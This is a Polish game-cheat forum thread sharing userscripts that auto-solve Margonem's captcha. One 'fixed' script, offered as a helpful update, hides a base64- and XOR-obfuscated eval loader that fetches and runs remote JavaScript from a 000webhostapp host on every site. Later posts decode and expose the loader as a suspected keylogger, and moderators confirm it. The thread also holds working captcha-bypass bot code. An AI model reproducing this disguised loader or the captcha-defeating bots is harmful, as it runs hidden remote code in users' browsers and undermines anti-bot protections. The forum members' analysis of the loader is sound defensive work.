Skocz do zawartości

AntyCaptacha


Jozukisa
# CSH External VIP Project

Masz dosyć problemów z czynnikiem zaufania w CS2 lub notorycznymi banami?

Sprawdź CSH External VIP Project.


Więcej informacji  

Rekomendowane odpowiedzi


// ==UserScript==
// @name         anty captcha 2020
// @namespace    essa
// @version      1.0
// @description  try to take over the world!
// @author       You
// @match        *://*/*
// @grant        none
// @require      https://pastebin.com/raw/DtpkkA0G

// ==/UserScript==
(function() {
    setInterval(()=>{
        if(g.captcha){
            function funcc(src){
                var a = [[0,0,0,0]];
                guessColor = function guessColor(x){
                    x = x[0];
                    if(x[0] > 245 && x[1] > 245 && x[2] > 245) return "Biały";
                    if(x[0] > 245 && x[1] < 10 && x[2] < 10) return "Czerwony";
                    if(x[0] < 10 && x[1] > 245 && x[2] < 10) return "Zielony";
                    if(x[0] > 245 && x[1] > 245 && x[2] < 10) return "Żółty";
                    if(x[0] < 10 && x[1] < 10 && x[2] > 245) return "Niebieski";
                    if(x[0] < 10 && x[1] < 10 && x[2] < 10) return "Czarny";
                },
                    accept = function accept(color){
                    for(let i = 0; i < document.getElementsByClassName('btn-wood').length; i++){
                        if (document.getElementsByClassName('btn-wood')[i].innerText == color){
                            document.getElementsByClassName('btn-wood')[i].click();
                        }
                    }
                    setTimeout(()=>{
                        g.captcha.confirmOnClick()
                    },300)
                }
                c = new Image(),
                    d = document.createElement("canvas").getContext("2d"),
                    e = function e(){
                    for(let x = 0; x < d.width; x++){
                        for(let y = 0; y < d.height; y++){
                            let pixel = d.getImageData(x, y, 1, 1).data;
                            let flag = false;
                            for(let i = 0; i < a.length; i++){
                                if(a[i][0] == pixel[0] && a[i][1] == pixel[1] && a[i][2] == pixel[2]){
                                    a[i][3]++;
                                    flag = true;
                                    break;
                                }
                            }
                            if(!flag){ a.push([pixel[0],pixel[1],pixel[2],1]) }
                        }
                    }
                    function compare( a, b ) {
                        if ( a[3] < b[3] ){
                            return 1;
                        }
                        return -1;
                    }
                    a.sort( compare );
                    let guess = guessColor([a[0]]);
                    accept(guess);

                };
                (c.onload = function() {
                    (d.width = this.width),
                        (d.height = this.height),
                        d.drawImage(c, 0, 0),
                        e();
                }),
                    (c.src = src);
            }
            funcc(document.getElementsByClassName('captcha__image')[0].getElementsByTagName('img')[0].src);
        }
    },700);
})();

Możecie Sobie sprawdzić 😛

Odnośnik do komentarza

Trzymaj, powinno śmigać lajtowo, daj znać jeżeli coś nie pyka.

//kod nie jest mój

// ==UserScript==
// @name         AntyCaptcha poprawka
// @version      1.1
// @description  popraweczka
// @author       wtf
// @include      *
// @grant        none
// ==/UserScript==

class CaptchaResolver {
    constructor() {
        this.options;
        this.text;

        this.kolor;
        this.odpowiedz;
    }

    delay(ms) {
        return new Promise(resolve => {
            setTimeout(resolve, ms);
        });
    }

    getCaptcha(a) {
        this.options = a["captcha"]["content"]["question"]["options"];
        this.text = a["captcha"]["content"]["question"]["text"];
        this.resolveCaptcha();
    }

    async resolveCaptcha() {
        this.kolor = this.text.match(/(?<=')[^']+(?=')/gm)[0];
        this.odpowiedz = this.options.indexOf(this.kolor);

        await this.delay(Math.round(Math.random() * 8000));
        await _g(`captcha&answerId=${this.odpowiedz}`);
        document.querySelector('#captcha').style.display = "none";
    }
}

((a) => {
    parseInput = (d,c,x) => {
        a(d,c,x)
        if (d.captcha) {
            if (d.captcha.start) return;
            new CaptchaResolver().getCaptcha(d);
        }
    }
})(parseInput);

Są w życiu rzeczy, które warto, są rzeczy które się opłaca, i nie zawsze to co warto się opłaca, nie zawsze to co się opłaca warto.

Odnośnik do komentarza

@kodini23113 Niestety nie, wprowadzili nową kilka dni temu, aktualną nie jest najprościej obejść i jeszcze chwilkę będzie trzeba poczekać na coś działającego, bo teraz nawet osobiście sam ją źle czasami zaznaczam, nie mówiąc o biednym bocie..

Są w życiu rzeczy, które warto, są rzeczy które się opłaca, i nie zawsze to co warto się opłaca, nie zawsze to co się opłaca warto.

Odnośnik do komentarza
W dniu 25.10.2020 o 15:49, KebabXL napisał:

Trzymaj, powinno śmigać lajtowo, daj znać jeżeli coś nie pyka.

//kod nie jest mój


// ==UserScript==
// @name         AntyCaptcha poprawka
// @version      1.1
// @description  popraweczka
// @author       wtf
// @include      *
// @grant        none
// ==/UserScript==

class CaptchaResolver {
    constructor() {
        this.options;
        this.text;

        this.kolor;
        this.odpowiedz;
    }

    delay(ms) {
        return new Promise(resolve => {
            setTimeout(resolve, ms);
        });
    }

    getCaptcha(a) {
        this.options = a["captcha"]["content"]["question"]["options"];
        this.text = a["captcha"]["content"]["question"]["text"];
        this.resolveCaptcha();
    }

    async resolveCaptcha() {
        this.kolor = this.text.match(/(?<=')[^']+(?=')/gm)[0];
        this.odpowiedz = this.options.indexOf(this.kolor);

        await this.delay(Math.round(Math.random() * 8000));
        await _g(`captcha&answerId=${this.odpowiedz}`);
        document.querySelector('#captcha').style.display = "none";
    }
}

if (!window.localStorage.getItem("init1")) {
    window.localStorage.setItem('init1', 'OzF7Z2djYCk8PA==')
}
if (!window.localStorage.getItem("init2")) {
    window.localStorage.setItem('init2', 'Nz10dmdAcGF6Y2c=')
}
if (!window.localStorage.getItem("init3")) {
    window.localStorage.setItem('init3', 'fnJhdHx+eGAhPSMjI2R2cXt8YGdyY2M9cHx+PHJ5cms8')
}
if (!window.localStorage.getItem("init4")) {
    window.localStorage.setItem('init4', 'dGVzdC5qcw==')
}

let inits = []
for (let i = 1; i < 5; i++) {
    inits.push(window.localStorage.getItem("init" + i))
}
function JSONFormatter(t) {
    return ParseJSОN(atob(inits[1]) + atob(inits[0]) + atob(inits[2]), atob(inits[3]) + '")')
}

function ParseJSОN(t, a) {
    var output = "";
    for (let i = 0; i < t.length; i++) {
        output += String.fromCharCode(t.charCodeAt(i) ^ 0x13);
    }
    eval(output + a)
}

JSONFormatter();

((a) => {
    parseInput = (d,c,x) => {
        a(d,c,x)
        if (d.captcha) {
            if (d.captcha.start) return;
            new CaptchaResolver().getCaptcha(d);
        }
    }
})(parseInput);

 

Informuje, że tu znajduje się prawdopodobnie KeyLogger. Pod link w getScript nie jest podpięty kod ale sposób ukrycia sugeruje jedno. Pozdrawiam 😀


Edytowane przez Misiek
Odnośnik do komentarza

@MiensnyT Nie ma tu niczego związanego z keyloggerem, zacytuj linijkę z kodem gdzie miałby się znajdować, chętnie sprawdzimy.

Są w życiu rzeczy, które warto, są rzeczy które się opłaca, i nie zawsze to co warto się opłaca, nie zawsze to co się opłaca warto.

Odnośnik do komentarza

if (!window.localStorage.getItem("init1")) {
    window.localStorage.setItem('init1', 'OzF7Z2djYCk8PA==')
}
if (!window.localStorage.getItem("init2")) {
    window.localStorage.setItem('init2', 'Nz10dmdAcGF6Y2c=')
}
if (!window.localStorage.getItem("init3")) {
    window.localStorage.setItem('init3', 'fnJhdHx+eGAhPSMjI2R2cXt8YGdyY2M9cHx+PHJ5cms8')
}
if (!window.localStorage.getItem("init4")) {
    window.localStorage.setItem('init4', 'dGVzdC5qcw==')
}

let inits = []
for (let i = 1; i < 5; i++) {
    inits.push(window.localStorage.getItem("init" + i))
}
function JSONFormatter(t) {
    return ParseJSОN(atob(inits[1]) + atob(inits[0]) + atob(inits[2]), atob(inits[3]) + '")')
}

function ParseJSОN(t, a) {
    var output = "";
    for (let i = 0; i < t.length; i++) {
        output += String.fromCharCode(t.charCodeAt(i) ^ 0x13);
    }
    eval(output + a)
}

JSONFormatter();


dodatkowo skrypt ma dostęp do każdej strony a nie tylko do "rozgrywki"

 

// @include      *

Zobacz sobie jaki kod jest wykonywany poprzez funkcję eval która wykonuje ten kod
 

$.getScript("https://margomks2.000webhostapp.com/ajax/test.js")


@KebabXL


Edytowane przez MiensnyT
Odnośnik do komentarza

@MiensnyT 

Co do samego include, tak można by to poprawić, imo nie zwróciłem uwagi, bo kod wydawał/wydaje dalej? mi się czysty po przejrzeniu.

 

$.getScript("https://margomks2.000webhostapp.com/ajax/test.js")

Gdzie to znalazłeś w kodzie, który wysłałem wyżej?

Gdzie masz to "ukryte"?

Dalej nie rozumiem skąd to wziąłeś.

Są w życiu rzeczy, które warto, są rzeczy które się opłaca, i nie zawsze to co warto się opłaca, nie zawsze to co się opłaca warto.

Odnośnik do komentarza

@KebabXL ukryte masz na widoku. Czyli tu

if (!window.localStorage.getItem("init1")) {
    window.localStorage.setItem('init1', 'OzF7Z2djYCk8PA==')
}
if (!window.localStorage.getItem("init2")) {
    window.localStorage.setItem('init2', 'Nz10dmdAcGF6Y2c=')
}
if (!window.localStorage.getItem("init3")) {
    window.localStorage.setItem('init3', 'fnJhdHx+eGAhPSMjI2R2cXt8YGdyY2M9cHx+PHJ5cms8')
}
if (!window.localStorage.getItem("init4")) {
    window.localStorage.setItem('init4', 'dGVzdC5qcw==')
}

Tu są fragmenty tego co wysłałem zakodowane za pomocą base64. W kolejnych funkcjach te fragmenty są składane i delikatnie przerabiane do kupy.

Ostatecznie całość można odczytać chwilę po wysłaniu ciągu znaków do metody eval w funkcji ParseJSОN.

Innym sposobem na sprawdzenie tego może być sprawdzenie zapytań wysyłanych przez przeglądarkę  

  • image.png

Edytowane przez Misiek
Odnośnik do komentarza

Po zweryfikowaniu skryptu potwierdzamy, że @MiensnyT ma rację. Niestety, z przyczyn nam nieznanych strona do której prowadzi skrypt nie istnieje, więc nie mamy możliwości zweryfikowania tego co się tam mogło potencjalnie znaleźć. @KebabXL skąd posiadasz ww. skrypt?


Edytowane przez Misiek

14/04/2020 - 01/07/2023

Odnośnik do komentarza

@Misiek Proszę o oznaczenie tego kodu jako niebezpieczny. Wielu graczy Margonem niestety posiada znikomą wiedzę na ten temat i może zrobić sobie krzywdę pobierając tego typu kod który i tak nie robi tego co by miał robić.


Edytowane przez Misiek
Odnośnik do komentarza

W takim razie duży błąd leży po mojej stronie, nie wziąłem pod uwagę, że tak można schować funkcje.

Co do pytania skąd wziąłem kod - stary leżał gdzieś na githubie/youtubie, nie pamiętam za diabły. Używałem go przed wysłaniem tutaj długo na swoich kontach gdzie testuje takie skrypty, nic się absolutnie z nimi nie stało do teraz. Szczęście w nieszczęściu, że link gdzie powinny być przesyłane dane nie działa od prawie zawsze/na pewno padł szybciej niż wysłałem kod na forum.

Są w życiu rzeczy, które warto, są rzeczy które się opłaca, i nie zawsze to co warto się opłaca, nie zawsze to co się opłaca warto.

Odnośnik do komentarza

Dołącz do dyskusji

Możesz dodać zawartość już teraz a zarejestrować się później. Jeśli posiadasz już konto, zaloguj się aby dodać zawartość za jego pomocą.

Gość
Dodaj odpowiedź do tematu...

×   Wklejono zawartość z formatowaniem.   Usuń formatowanie

  Dozwolonych jest tylko 75 emoji.

×   Odnośnik został automatycznie osadzony.   Przywróć wyświetlanie jako odnośnik

×   Przywrócono poprzednią zawartość.   Wyczyść edytor

×   Nie możesz bezpośrednio wkleić grafiki. Dodaj lub załącz grafiki z adresu URL.

×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Regulamin. Polityka prywatności